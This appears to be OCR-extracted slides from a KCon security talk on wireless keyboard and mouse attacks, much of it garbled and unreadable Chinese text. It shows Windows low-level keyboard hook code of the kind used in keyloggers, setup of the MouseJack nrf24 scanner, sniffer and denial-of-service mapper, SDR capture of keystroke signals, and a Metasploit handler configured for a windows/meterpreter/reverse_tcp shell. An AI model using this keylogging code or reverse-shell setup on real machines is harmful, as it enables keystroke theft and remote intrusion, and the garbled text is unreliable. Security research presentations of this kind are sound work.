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Ultimate Atomic Buster

CO0 r99® -—

Sibenan Blizzard

GERCICEIC SO

KCon



BEMWTAD SIS S AT
ADREF, FABRICE BRSER B —FHARABIE

KCon



ATMBEEIMZINTE—ATM Skimmer
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N FLIRIRHREE
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ATMRRBIRIRININE

o ARRITN: DHHCRUPRIEE, ERHR
EPHE.,

o ABBER37°CAER, MIRERIN~ENmERTLL
HWIRERINIBIE, FREREXFIRBEIRIRE.

o ATMIIBEHZIEHMAEE.
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Tyupkin /K 5
Ploutus malware

Triton ATM
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MERS. MNBIEFMEHRSE

R FER iHEPATY M. XSRS
11 S EMsg, B3R R =SHEeNBER
IRERS HIEE.
VR R BRI A B 1R S BOIR
H ST, WEAREE, REETE
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Windows RISl

o= . LIS aaaein ® X&)+ SetWindowsHookEx
BEal L2 exete ] LIZdI ® RN+ UnhookWindowsHookEx
HiEF: BMHRFARABEIE, ® 4k45¥9F: CallNextHoOoKEX
winedll

SetWindowsHookEx(int idHook, HOOKPROC Joli}
HINSTANCE hMod, ) KCon



LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM IParam)

{
PKBDLLHOOKSTRUCT key = (PKBDLLHOOKSTRUCT)IParam;

if (wParam == WM_KEYDOWN && nCode == HC_ACTION ) key->vkCode

{ ICRAPGE
R P

} (Er R PR

return CallNextHookEx(keyboardHook, nCode, wParam, IParam);

}
KCon



int main()

{
keyboardHook = SetWindowsHookEx(WH_KEYBOARD LL, KeyboardProc, NULL, NULL);

MSG msg{ 0 };

while (GetMessage(&msg, NULL, 0, 0) !'= 0);
UnhookWindowsHookEx(keyboardHook);
return 0;

}

KCon



int main()

{
keyboardHook = SetWindowsHookEx(WH KEYBOARD LL, , NULL, NULL);

MSG msg{ 0 };

while (GetMessage(&msg, NULL, 0, 0) != 0);
UnhookWindowsHookEx(keyboardHook);
return 0;

}

KCon



int main()

{
keyboardHook = (WH KEYBOARD LL, KeyboardProc, NULL, NULL);
MSG msg{ 0 };

while (GetMessage(&msg, NULL, 0, 0) != 0);
UnhookWindowsHookEx(keyboardHook); HHOOK WINAPI SetWindowsHookEx(

return O; In_int idHook,
} “In_ HOOKPROC Ipfn,
In_ HINSTANCE hMod,

In_DWORD dwThreadld); KCon
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2.4GHz

MARI, (BeEBR, BASET —RRIEIT USBIE IR FTTZiSECRa R
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SHRINE

agiR —— itHi
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SHRINE

agiR —— itHi

" 1 @ # 3 e " & * ) ] _ + Backspace

' 18203 6 3 | z

Tab Q W E R T Y . U | o p . ( { . Return

Caps Als DIFIG|HI | el ~ ]J'

s f z | X |c | v . B | NQMp< | > | ; | | shit

Control Alt . . . . Alt Contral
=ALER T Y=

I
= PO

N\ >

BLeiEn ag =it KCon
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Crazyradio 2.4Ghz nRF24LU1+ USB radio dongle

® 2.4GHz USB radio dongle

® Nordic Semiconductor nRF24LU1+ &
® 2.4GHz radio communication

® 0dBm output power (1mW)

® 125 radio channels KCon



GRE IR

Successfully built bottle semantic-version
® sudo apt—get install sdcc binutils Installing collected packages: bottle, click, semantic-version,

python python_pip platformio

Found existing installation: click 6.7

® sudo plp install -U plp Uninstalling click-6.7:
® sudo plp install -U -1 prSb Successfully uninstalled cllck-Ez‘?. |
S : Successfully installed bottle-0.12.13 click-5.1 platformio-3.6.0

KCon



mlFrcrazyradio pal&l{4

® git clone https://github.com/bitcraze/crazyradio-firmware
® cd crazyradio-firmware

® python usbtools/launchBootloader.py
® wget

® python usbtools/nrfbootload.py flash cradio-pa-0.53.bin

KCon



T2 IRE))

Ed Zadig

WIHdOWSﬁE{?%%?%: Device Options Help

List All Devices

1813 zadigF & &= Crazyradio nRF24LU1+ o | RS0 R
. . v lgl"l Eaﬂg . INnsta !:’LU CIQEI'TEI'EE' ertncaie
USB radio donglefE {415 5 IX 5] i -

Log Verbosity

WCID -

1BZWindows AR, AJLA=ITIEYT
OSX?ZE:LJW:JZ@EUEx‘?‘zﬁﬁxﬁﬂ%




‘miFEMousejack Project

® git clone

® cd mousejack
® make

® make install

KCon



A4 SRR

usage: ./nrf24-scanner.py [-h] [-c N [N ...]] [-v] [-]] usage: ./nrf24-sniffer.py [-h] [-c N [N ...]] [-V] [-]] -a

[-p PREFIX] [-d DWELL] ADDRESS [-t TIMEOUT] [-k ACK_TIMEOUT] [-r RETRIES]
e.g. e.g.
cd mousejack-master/ cd mousejack-master/
./nrf24-scanner.py -c {1..5} /nrf24-sniffer.py -a {mac address}
FMACHBLE

AMNEFrEIRENEREE — TEEEREERE

KCon



&R RE A E R &R

network mapper (Denial of Service)

;\ﬁﬁ-'t%i- (BUrAGE. B, REEE) usage: ./nrf24-network-mapper.py [-h] [-c N [N ...]]
SRR, 1—”5’7&1%5 [-v] [-]] -a ADDRESS [-p PASSES] [-k ACK TIMEOUT]

__ -r RETRIES
o HERBEHINE [ ]

. . d nrf-research-firmware
¢ FEEIEE L ‘
R B AE /nrf24-network-mapper.py -a 61:49:66:82:03

&

KCon



HackRF One

e LPC4320/4330

® XC2C64A N

o MAX2837 EW T U4 =8

® RFFC5072 SZIFRHEE: 2 Msps—20
e MAX5864 Msps (1IE3Z)

® Si5351C HiHEFIREIRONER: /K
e MGA-81563 50mA 3.3V

® SKY13317 TIESRZE: 1MHz—6GHZz
® SKY13350

KCon



XC2C64 MAX5864 MAX2837 RFFC5072

Xibnx 32 Maxim Maxim RFMD Switch
CPLD ADC/DAC Transceiver Mixer

KCon



AUdaCIty-%’-)\iﬂiu;&ﬁ_{n,u‘ XHHF) HEE) #ECS) REY) BRR iniﬁm’_ '
T

N | «||Wroot| M EH keybnard_input!

| Signed 16-bit PCM

& (R) 2Z ¥
QR & press_a.raw
O A ERD | | o | 1EEEEE)

1\ i (little-endian)

T IO[:]T @ : B 3 [:]l
IR |, 44100 Hz R

B S0 324 e - =] . 1100

O XIF R 0| T 44100

Kall Live

HR7H(C)




I
ERaietsEs

KCon



Inspectrum B HrEIsRE =

Linking CXX executable inspectrum

Built target inspectrum

:~/inspectrum/build# sudo make in

Automatic MOC for target
Built target inspectrum autogen

Built target inspectrum

rall configuration: ""

calling: /usr/local/bin/inspectrum
runtime path of "/usr/local/bin/ins
:~/inspectrum/build# inspectrum

inspectrum

Controls
Open file...

Sample rate:

Spectrogram

FFT size:

Zoom:

Power max:

Power min: —

Scales:

Time selection

Enable cursors:

Symbols:

Rate:
Period:
Symbol rate:

Symbol period:

cmakeZwiFERIRIE

LIQUID LIBRARIES

linked by target "inspectrum" 1in directory /root/inspectrum

-- Configuring incomplete, errors occurred!
See also "/root/inspectrum/build/CMakeFiles/CMakeOutput.log"”.

T aeliquid-dsp

git clone git://github.com/jgaeddert/liquid-dsp.git

:~/inspectrum/build# cmake

-- Found LIQUID: /usr/local/lib/libliquid.so

-- Configuring done
-- Generating done
-- Build files have been written to:

,#’n::n:::tﬁ’in's.[:n.c:n::trum,#’t:}l.li1l:I'r1



SRR SRR NS R S B RS R O e N AN ) AR R e S AR R SR
001000 0.002000 0.003000 0.004000 005000

Sample rate:4000 0000
Symbols 1160

i ST FlFlRE R ST
|0 002000 IO 003000 0.004000

I |1 R Pl Pl £

Extract symbols
Export samples to file... Add frequency plot

BMlamplitude plotiiRIgE]
1813 SymbolsS£4%l 93 iR HZ

o Sy oo

Add phase plot

KCon
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Terminator ':; v a A 5 (1:25) A% Jul 112:22PM E

0 = 5 who@tardis: ~/.../mousejack-replay/src

File Virtual Machine Help who@tardis: ~/.../mousejack-replay/src 3

ke ®

T
>
T Recycle Bin F55 010 Editor UniFi

1545 Explmtf. - 894 auxiliary - 267 post 1
]
]

II Il ]

|—-1|-—1r---n-—|

438 payloads - 38 encoders - 8 nops
Free Metasploit Pro trial: http:/fr-7.co/trymsp

[]LG gl :! 'l msf > use exploit/multi/handler
' —= ! msf exploit(handler) > set lhost 192.168.0.11 .
Invoke-Shellcode payload
Eeader ™ 71 msf exploit(handler) > set lport 4444 C

lport => 4444

msf exploit(handler) > set payload windows/meterpreter/reverse tcp

payload => windows/meterpreter/reverse tcp

exploit(handler) > exploit -j
*]1 Exploit running as background job.

msf exploit(handler) =
*l
]

S g s s Empire/blob/master/data/modul
R I e_source/code_execution/Invoke-
Shellcode.psl

KCon
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IFPAE: | BAE:

o FURRFN LS ER ® 3| \serial number, $%EEICLEHE
® ~MER/N HASHISEIREE &SRS

® IEELLHLTERIR, THSHEMNMSE )%M?HJ[I ;XSS
o LSREIRMEIRELE E%WE%M YHEE.
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